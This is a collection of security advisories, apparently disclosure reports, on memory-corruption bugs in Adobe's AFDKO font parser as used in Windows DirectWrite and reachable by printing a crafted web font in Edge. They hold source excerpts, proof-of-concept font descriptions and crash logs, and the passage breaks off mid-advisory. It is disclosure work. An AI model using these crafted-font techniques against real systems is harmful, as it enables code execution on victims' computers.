-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. In this specific case, the uninitialized memory used in the vulnerable code originates from the client-provided allocator callback. According to our analysis the callback provided by DirectWrite zeroes out the returned memory by itself, which should reduce the impact of the bug to a NULL pointer dereference. However, in case the implementation of the allocator ever changes in the future, we have opted to report the bug despite its apparent low severity at this time, especially considering that the resulting primitive is the invocation of a function pointer loaded from the uninitialized address. -----=====[ Description ]=====----- The bug resides in the support of variable fonts, and specifically in the loading of the "avar" table. We're interested in the following structures (from source/varread/varread.c): --- cut --- 84 /* avar table */ 85 struct var_avar_; 86 typedef struct var_avar_ *var_avar; 87 [...] 91 92 /* avar table */ 93 94 typedef struct axisValueMap_ { 95 Fixed fromCoord; 96 Fixed toCoord; 97 } axisValueMap; 98 99 typedef dnaDCL(axisValueMap, axisValueMapArray); 100 101 typedef struct segmentMap_ { 102 unsigned short positionMapCount; 103 axisValueMapArray valueMaps; 104 } segmentMap; 105 106 typedef dnaDCL(segmentMap, segmentMapArray); 107 108 struct var_avar_ { 109 unsigned short axisCount; 110 segmentMapArray segmentMaps; 111 }; --- cut --- In other words, an "avar" structure contains a list of segment maps, each of which contains a list of value maps. The object is allocated and initialized in the var_loadavar() function. It is possible to bail out of the parsing in several places in the code: --- cut --- 297 if (table->length < AVAR_TABLE_HEADER_SIZE + (unsigned long)AVAR_SEGMENT_MAP_SIZE * avar->axisCount) { 298 sscb->message(sscb, "invalid avar table size or axis/instance count/size"); 299 goto cleanup; 300 } 301 302 dnaINIT(sscb->dna, avar->segmentMaps, 0, 1); 303 if (dnaSetCnt(&avar->segmentMaps, DNA_ELEM_SIZE_(avar->segmentMaps), avar->axisCount) < 0) 304 goto cleanup; [...] 311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) { 312 sscb->message(sscb, "avar axis value map out of bounds"); 313 goto cleanup; 314 } 315 316 dnaINIT(sscb->dna, seg->valueMaps, 0, 1); 317 if (dnaSetCnt(&seg->valueMaps, DNA_ELEM_SIZE_(seg->valueMaps), seg->positionMapCount) < 0) 318 goto cleanup; --- cut --- which leads to freeing the entire "avar" object: --- cut --- 339 cleanup:; 340 HANDLER 341 END_HANDLER 342 343 if (!success) { 344 var_freeavar(sscb, avar); 345 avar = 0; 346 } --- cut --- When a parsing error occurs, the object may be only partially initialized. However, the var_freeavar() function doesn't take it into account and unconditionally attempts to free all value maps lists inside of all segment maps lists: --- cut --- 255 static void var_freeavar(ctlSharedStmCallbacks *sscb, var_avar avar) { 256 if (avar) { 257 unsigned short i; 258 259 for (i = 0; i < avar->axisCount; i++) { 260 dnaFREE(avar->segmentMaps.array[i].valueMaps); 261 } 262 dnaFREE(avar->segmentMaps); 263 264 sscb->memFree(sscb, avar); 265 } 266 } --- cut --- In the code above, the data under avar->segmentMaps.array[i].valueMaps may be uninitialized. The dnaFREE() call translates to (source/dynarr/dynarr.c): --- cut --- 178 /* Free dynamic array object. */ 179 void dnaFreeObj(void *object) { 180 dnaGeneric *da = (dnaGeneric *)object; 181 if (da->size != 0) { 182 dnaCtx h = da->ctx; 183 h->mem.manage(&h->mem, da->array, 0); 184 da->size = 0; 185 } 186 } --- cut --- In line 183, the "h" pointer contains uninitialized bytes. As it is used to fetch a function pointer to call, the condition is a serious security vulnerability. However, it is important to note that the implementation of dynamic arrays in AFDKO relies on an external memory allocator provided by the library user, and so, the feasibility of exploitation may also depend on it. For example, the allocator in Microsoft DirectWrite returns zero-ed out memory, making the bug currently non-exploitable through that attack vector. -----=====[ Proof of Concept ]=====----- The proof of concept file triggers the bug by declaring avar->axisCount as 1 and having seg->positionMapCount set to 0xffff. This causes the following sanity check to fail, leading to a crash while freeing resources: --- cut --- 311 if (table->length < sscb->tell(sscb) - table->offset + AVAR_AXIS_VALUE_MAP_SIZE * seg->positionMapCount) { 312 sscb->message(sscb, "avar axis value map out of bounds"); 313 goto cleanup; 314 } --- cut --- -----=====[ Crash logs ]=====----- A crash log from the "tx" tool (part of AFDKO) compiled with AddressSanitizer, run as ./tx -cff <path to font file>: --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183 183 h->mem.manage(&h->mem, da->array, 0); (gdb) where #0 0x00000000007df58c in dnaFreeObj (object=0x606000000208) at ../../../../../source/dynarr/dynarr.c:183 #1 0x00000000007e399a in var_freeavar (sscb=0x62a000004fa8, avar=0x6060000001a0) at ../../../../../source/varread/varread.c:260 #2 0x00000000007e37be in var_loadavar (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:344 #3 0x00000000007dfb5d in var_loadaxes (sfr=0x614000000240, sscb=0x62a000004fa8) at ../../../../../source/varread/varread.c:484 #4 0x0000000000527f74 in cfrBegFont (h=0x62a000000200, flags=4, origin=0, ttcIndex=0, top=0x62c000000238, UDV=0x0) at ../../../../../source/cffread/cffread.c:2681 #5 0x000000000050928e in cfrReadFont (h=0x62c000000200, origin=0, ttcIndex=0) at ../../../../source/tx.c:137 #6 0x0000000000508cc4 in doFile (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf") at ../../../../source/tx.c:429 #7 0x0000000000506b2f in doSingleFileSet (h=0x62c000000200, srcname=0x7fffffffdf1f "poc.otf") at ../../../../source/tx.c:488 #8 0x00000000004fc91f in parseArgs (h=0x62c000000200, argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:558 #9 0x00000000004f9471 in main (argc=2, argv=0x7fffffffdc30) at ../../../../source/tx.c:1631 (gdb) print h $1 = (dnaCtx) 0xbebebebebebebebe (gdb) --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47090.zip
-
Microsoft DirectWrite / AFDKO - Interpreter Stack Underflow in OpenType Font Handling Due to Missing CHKUFLOW
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. -----=====[ Description ]=====----- The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object: --- cut --- 70 struct /* Operand stack */ 71 { 72 long cnt; 73 float array[CFF2_MAX_OP_STACK]; 74 unsigned short numRegions; 75 long blendCnt; 76 abfOpEntry blendArray[CFF2_MAX_OP_STACK]; 77 abfBlendArg blendArgs[T2_MAX_STEMS]; 78 } stack; --- cut --- Values are popped off the stack in the instruction handlers in t2Decode() using the POP() macro: --- cut --- 152 #define POP() (h->stack.array[--h->stack.cnt]) --- cut --- As the macro assumes that the stack is non-empty, another macro in the form of CHKUFLOW() is required to verify this requirement: --- cut --- 137 /* Check stack contains at least n elements. */ 138 #define CHKUFLOW(h, n) \ 139 do { \ 140 if (h->stack.cnt < (n)) return t2cErrStackUnderflow; \ 141 } while (0) --- cut --- As a result, it is essential for the interpreter's memory safety to invoke CHKUFLOW() with an appropriate "n" argument before using POP() the corresponding number of times. In a majority of cases, the interpreter operates on the stack correctly; however, we have found several instances where the CHKUFLOW() calls are missing. The problems were identified in the handling of the following instructions: - tx_callgrel - tx_rmoveto - tx_vmoveto - tx_hmoveto - tx_SETWVN For example, the handler of the "rmoveto" instruction is shown below: --- cut --- 1484 case tx_rmoveto: 1485 if (callbackWidth(h, 1)) 1486 return t2cSuccess; 1487 { 1488 float y = POP(); 1489 float x = POP(); 1490 if ((h->flags & IS_CFF2) && (h->glyph->moveVF != NULL)) 1491 popBlendArgs2(h, &INDEX_BLEND(0), &INDEX_BLEND(1)); 1492 callbackMove(h, x, y); 1493 } 1494 break; --- cut --- It's clear that the two POP() invocations in lines 1488 and 1489 are not preceded by CHKUFLOW(). Such bugs may have two kinds of security-relevant consequences: 1. Out-of-bounds data is read and used as arguments to the affected instructions, 2. The stack index becomes negative, which could facilitate overwriting memory residing directly before the stack array. In this particular case, the stack counter itself is placed before the stack array. This means that consequence #1 is not really a problem as the out-of-bounds data is initialized and its value is known to the attacker. As for item #2 -- an attack would require the CharString execution loop to continue to the next instruction while preserving the negative value of h->stack.cnt. For the rmoveto, vmoveto and hmoveto instructions, the stack counter is reset back to 0 in line 2303, because their handlers end with a "break;" statement: --- cut --- 2301 } /* End: switch (byte0) */ 2302 clearBlendStack(h); 2303 h->stack.cnt = 0; /* Clear stack */ 2304 } /* End: while (cstr < end) */ --- cut --- This leaves us with callgrel and SETWVN. In both cases, the out-of-bounds argument would have to be valid in the context of those instructions in order for them to not return with an error. Due to the fact that the POP() macro first decrements h->stack.cnt and then reads from h->stack.array[h->stack.cnt], the value read will always be 0xffffffff, interpreted as a float. A 32-bit float with a binary representation of 0xffffffff (which translates to NaN) takes the value of 0x80000000 when cast to an integer. According to our analysis, it is impossible for 0x80000000 to act as a valid subroutine index (in case of callgrel) or number of cube axes (in case of SETWVN). As a result, the handlers will return an error in the following locations before another instruction can execute with the negative stack index: --- cut --- 1298 long num = unbiasLE((long)POP(), h->aux->gsubrs.cnt); 1299 if (num == -1) 1300 return t2cErrCallgsubr; --- cut --- and: --- cut --- 1913 int numAxes = (int)POP(); 1914 result = do_set_weight_vector_cube(h, numAxes); 1915 if (result || !(h->flags & FLATTEN_CUBE)) 1916 return result; --- cut --- In summary, the missing CHKUFLOW() instances currently seem non-exploitable due to coincidental memory layout, conversions between data types and the semantics of the affected instructions. On the other hand, if only one of the above conditions changed in the future, these issues could become trivially exploitable by making it possible to overwrite t2cCtx.stack.cnt with an arbitrary value, thus potentially enabling arbitrary relative reads/writes on the native stack. We therefore recommend fixing the bugs despite the current exploitability assessment. -----=====[ Proof of Concept ]=====----- The proof of concept file contains a CharString for glyph "A" which consists only of one instruction, rmoveto. When the instruction executes, the interpreter stack is empty, so it picks up the arguments from h->stack.array[-1] and h->stack.array[-2], demonstrating the bug. -----=====[ Crash logs ]=====----- It seems impossible to craft a font file which crashes a regular build of the CharString interpreter. However, we have patched the t2cstr.c source code to insert AddressSanitizer redzones in between the various arrays in the t2cCtx structure. A "tx" program compiled with this patch and started with a ./tx -cff poc.otf command crashes with the following report: --- cut --- ================================================================= ==122021==ERROR: AddressSanitizer: use-after-poison on address 0x7fffd5a9364c at pc 0x00000067a35c bp 0x7fffd5a8fc30 sp 0x7fffd5a8fc28 READ of size 4 at 0x7fffd5a9364c thread T0 #0 0x67a35b in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 #1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #9 0x7f6a599042b0 in __libc_start_main #10 0x41e5b9 in _start Address 0x7fffd5a9364c is located in stack of thread T0 at offset 76 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 76 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1488:31 in t2Decode Shadow bytes around the buggy address: 0x10007ab4a670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10007ab4a6c0: f1 f1 f1 f1 00 00 f7 f7 f7[f7]00 00 00 00 00 00 0x10007ab4a6d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a6f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007ab4a710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==122021==ABORTING --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47091.zip
-
Microsoft DirectWrite / AFDKO - Stack Corruption in OpenType Font Handling Due to Incorrect Handling of blendArray
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a specific set of attributes. The CreateInstancedStream method is not a member of a public COM interface, but we have found that it is called by d2d1!dxc::TextConvertor::InstanceFontResources, which led us to find out that it can be reached through the Direct2D printing interface. It is unclear if there are other ways to trigger the font instancing functionality. One example of a client application which uses Direct2D printing is Microsoft Edge. If a user opens a specially crafted website with an embedded OpenType variable font and decides to print it (to PDF, XPS, or another physical or virtual printer), the AFDKO code will execute with the attacker's font file as input. Below is a description of one such security vulnerability in Adobe's library exploitable through the Edge web browser. -----=====[ Description ]=====----- The afdko/c/public/lib/source/t2cstr/t2cstr.c file in AFDKO implements the Type 2 CharString interpreter for OpenType fonts. The interpreter stack is represented by the following structure in the t2cCtx object: --- cut --- 70 struct /* Operand stack */ 71 { 72 long cnt; 73 float array[CFF2_MAX_OP_STACK]; 74 unsigned short numRegions; 75 long blendCnt; 76 abfOpEntry blendArray[CFF2_MAX_OP_STACK]; 77 abfBlendArg blendArgs[T2_MAX_STEMS]; 78 } stack; --- cut --- The "cnt" and "array" fields correspond to the regular stack used by all kinds of OpenType fonts. The remaining fields only have a purpose in the handling of the new CFF2 format (variable fonts). Whenever a new value is pushed on the stack, it is written to array[] and optionally blendArray[], as seen in the definition of the PUSH() macro: --- cut --- 153 #define PUSH(v) \ 154 { \ 155 if (h->aux->flags & T2C_IS_CFF2) h->stack.blendArray[h->stack.blendCnt++].value = (float)(v); \ 156 h->stack.array[h->stack.cnt++] = (float)(v); \ 157 } --- cut --- However, the reverse POP() macro only pops a value from the main stack, and doesn't touch blendCnt/blendArray: --- cut --- 152 #define POP() (h->stack.array[--h->stack.cnt]) --- cut --- This assymetry creates the following problem: there are CFF instructions such as the arithmetic ones, which take values from the top of the stack, use them as factors in some operation, and push the result back. More formally, they pop N values and push back M values, where N != 0, M != 0, N >= M. After executing such an instruction, the stack index is smaller or equal to its previous value. Because of this, the interpreter doesn't need to check for stack overflow (use the CHKOFLOW macro), and instead must only check if there are enough input values on the stack (with CHKUFLOW). Examples of such behavior are shown below: --- cut --- 1616 case tx_abs: 1617 CHKUFLOW(h, 1); 1618 { 1619 float a = POP(); 1620 PUSH((a < 0.0f) ? -a : a); 1621 } 1622 continue; 1623 case tx_add: 1624 CHKUFLOW(h, 2); 1625 { 1626 float b = POP(); 1627 float a = POP(); 1628 PUSH(a + b); 1629 } 1630 continue; --- cut --- However, this approach is only valid if the PUSH/POP operations are fully symmetric. In the current state of the code, the execution of each such instruction increments the blendCnt counter without verifying if it goes out-of-bounds. By executing many such instructions in a variable font, it possible to overflow blendArray[] and corrupt the memory after it, including other fields of the t2cCtx object and further data stored on the thread's native stack. This may eventually lead to arbitrary code execution. -----=====[ Proof of Concept ]=====----- The proof of concept file includes a specially crafted CharString for glyph "A" of the format: --- cut --- 1621139584 134217728 div dup exch exch exch exch exch ... --- cut --- The initial four instructions craft two floats on the stack with a binary representation of 0x41414141. The remaining part of the program is the "exch" instruction repeated 30000 times, which keeps the number of elements on the regular stack at 2 (by just continuously exchanging them), while filling out the t2cCtx.stack.blendArray array with more and more data until it is overflown. -----=====[ Crash logs ]=====----- A 64-bit "tx" utility compiled with AddressSanitizer and a custom patch to insert ASAN redzones in between the t2cCtx structure fields crashes with the following report, when run as ./tx -cff poc.otf: --- cut --- ================================================================= ==158130==ERROR: AddressSanitizer: use-after-poison on address 0x7ffc38744c30 at pc 0x000000682b20 bp 0x7ffc3873e950 sp 0x7ffc3873e948 WRITE of size 4 at 0x7ffc38744c30 thread T0 #0 0x682b1f in t2Decode afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 #1 0x670a5b in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2591:18 #2 0x542960 in readGlyph afdko/c/public/lib/source/cffread/cffread.c:2927:14 #3 0x541c32 in cfrIterateGlyphs afdko/c/public/lib/source/cffread/cffread.c:2966:9 #4 0x509662 in cfrReadFont afdko/c/tx/source/tx.c:151:18 #5 0x508cc3 in doFile afdko/c/tx/source/tx.c:429:17 #6 0x506b2e in doSingleFileSet afdko/c/tx/source/tx.c:488:5 #7 0x4fc91e in parseArgs afdko/c/tx/source/tx.c:558:17 #8 0x4f9470 in main afdko/c/tx/source/tx.c:1631:9 #9 0x7fc9e2d372b0 in __libc_start_main #10 0x41e5b9 in _start Address 0x7ffc38744c30 is located in stack of thread T0 at offset 10512 in frame #0 0x66eb8f in t2cParse afdko/c/public/lib/source/t2cstr/t2cstr.c:2523 This frame has 2 object(s): [32, 757896) 'h' (line 2524) <== Memory access at offset 10512 is inside this variable [758160, 758376) 'Exception' (line 2586) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: use-after-poison afdko/c/public/lib/source/t2cstr/t2cstr.c:1729:33 in t2Decode Shadow bytes around the buggy address: 0x1000070e0930: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x1000070e0970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x1000070e0980: 00 00 00 00 00 00[f7]f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e0990: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09b0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09c0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 0x1000070e09d0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==158130==ABORTING --- cut --- The same "tx" program compiled without instrumentation crashes when reaching the end of the stack while still trying to write more data to blendArray. The 0x41414141 values written all over the stack can be seen in gdb's corrupted stack trace listing. --- cut --- Program received signal SIGSEGV, Segmentation fault. 0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730 1730 PUSH(a); (gdb) info reg $rax $rsp rax 0x7ffffffff008 140737488351240 rsp 0x7ffffff5fd60 0x7ffffff5fd60 (gdb) p/x $xmm0 $1 = {v4_float = {0xc, 0x0, 0x0, 0x0}, v2_double = {0x0, 0x0}, v16_int8 = {0x41, 0x41, 0x41, 0x41, 0x0 <repeats 12 times>}, v8_int16 = {0x4141, 0x4141, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x41414141, 0x0, 0x0, 0x0}, v2_int64 = {0x41414141, 0x0}, uint128 = 0x00000000000000000000000041414141} (gdb) where #0 0x00000000004603b4 in t2Decode (h=0x7ffffff60188, offset=23552) at ../../../../../source/t2cstr/t2cstr.c:1730 #1 0x000000000045cb26 in t2cParse (offset=1094795585, endOffset=83566, aux=0x41414141, gid=2, cff2=0x41414141, glyph=0x6fd6e8, mem=0x7150b8) at ../../../../../source/t2cstr/t2cstr.c:2591 #2 0x0000000041414141 in ?? () #3 0x00000000007150b8 in ?? () #4 0x0000000041414141 in ?? () #5 0x00007fffffffd620 in ?? () #6 0x0000000041414141 in ?? () #7 0xfffffffffffffffc in ?? () #8 0x0000000041414141 in ?? () #9 0x0000000000474840 in ?? () at ../../../../../source/tx_shared/tx_shared.c:4891 #10 0x0000000041414141 in ?? () (gdb) print h->stack.blendCnt $2 = 40551 --- cut --- The Microsoft Edge renderer process crashes while trying to dereference a partially overwritten h->aux pointer: --- cut --- (51fc.496c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!t2Decode+0x119c: 00007ffb`29e82710 f60080 test byte ptr [rax],80h ds:000001d3`41414141=?? 0:038> k # Child-SP RetAddr Call Site 00 0000006a`3df8b9e0 00007ffb`29e84a62 DWrite!t2Decode+0x119c 01 0000006a`3df8bb20 00007ffb`29e6c103 DWrite!t2cParse+0x28e 02 0000006a`3df9b480 00007ffb`29e6e3f7 DWrite!readGlyph+0x12b 03 0000006a`3df9b4f0 00007ffb`29e62272 DWrite!cfrIterateGlyphs+0x37 04 0000006a`3df9b540 00007ffb`29df157a DWrite!AdobeCFF2Snapshot+0x19a 05 0000006a`3df9ba40 00007ffb`29df0729 DWrite!FontInstancer::InstanceCffTable+0x212 06 0000006a`3df9bc20 00007ffb`29df039a DWrite!FontInstancer::CreateInstanceInternal+0x249 07 0000006a`3df9be40 00007ffb`29dd5a4e DWrite!FontInstancer::CreateInstance+0x192 08 0000006a`3df9c1a0 00007ffb`34eb61ab DWrite!DWriteFontFace::CreateInstancedStream+0x9e 09 0000006a`3df9c230 00007ffb`34ea9148 d2d1!dxc::TextConvertor::InstanceFontResources+0x19f 0a 0000006a`3df9c350 00007ffb`0fb750f4 d2d1!dxc::CXpsPrintControl::Close+0xc8 0b 0000006a`3df9c3a0 00007ffb`0fb4fcb0 edgehtml!CDXPrintControl::Close+0x44 0c 0000006a`3df9c3f0 00007ffb`0fb547ad edgehtml!CTemplatePrinter::EndPrintD2D+0x5c 0d 0000006a`3df9c420 00007ffb`0fa2b515 edgehtml!CPrintManagerTemplatePrinter::endPrint+0x2d 0e 0000006a`3df9c450 00007ffb`0f689175 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Trampoline_endPrint+0x45 0f 0000006a`3df9c490 00007ffb`0eb568f1 edgehtml!CFastDOM::CMSPrintManagerTemplatePrinter::Profiler_endPrint+0x25 --- cut --- -----=====[ References ]=====----- [1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/ [2] https://github.com/adobe-type-tools/afdko [3] https://docs.microsoft.com/en-us/windows/desktop/directwrite/direct-write-portal [4] https://medium.com/variable-fonts/https-medium-com-tiro-introducing-opentype-variable-fonts-12ba6cd2369 Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47092.zip
-
Microsoft DirectWrite / AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readCharset
-----=====[ Background ]=====----- AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree. At the time of this writing, based on the available source code, we conclude that AFDKO was originally developed to only process valid, well-formatted font files. It contains very few to no sanity checks of the input data, which makes it susceptible to memory corruption issues (e.g. buffer overflows) and other memory safety problems, if the input file doesn't conform to the format specification. We have recently discovered that starting with Windows 10 1709 (Fall Creators Update, released in October 2017), Microsoft's DirectWrite library [3] includes parts of AFDKO, and specifically the modules for reading and writing OpenType/CFF fonts (internally called cfr/cfw). The code is reachable through dwrite!AdobeCFF2Snapshot, called by methods of the FontInstancer class, called by dwrite!DWriteFontFace::CreateInstancedStream and dwrite!DWriteFactory::CreateInstancedStream. This strongly indicates that the code is used for instancing the relatively new variable fonts [4], i.e. building a single instance of a variable font with a 